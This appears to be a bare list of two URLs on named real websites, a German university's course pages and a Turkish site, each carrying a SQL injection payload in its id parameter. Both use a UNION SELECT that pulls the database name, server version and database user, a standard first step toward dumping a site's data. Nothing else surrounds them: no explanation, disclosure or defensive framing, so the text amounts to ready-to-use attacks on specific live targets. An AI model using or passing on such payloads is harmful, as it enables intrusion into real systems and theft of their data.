http://www.fh-oow.de/studium/studiengaenge/index.php?id=-20+union+select+1,2,3,4,5,6,concat_ws(0x3b,database(),version(),user()),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40+--+&einzel=1&lang=de

http://www.ergenekonteror.com/karikatur.php?id=-21+union+select+1,2,3,concat_ws(0x3b,database(),version(),user()),5--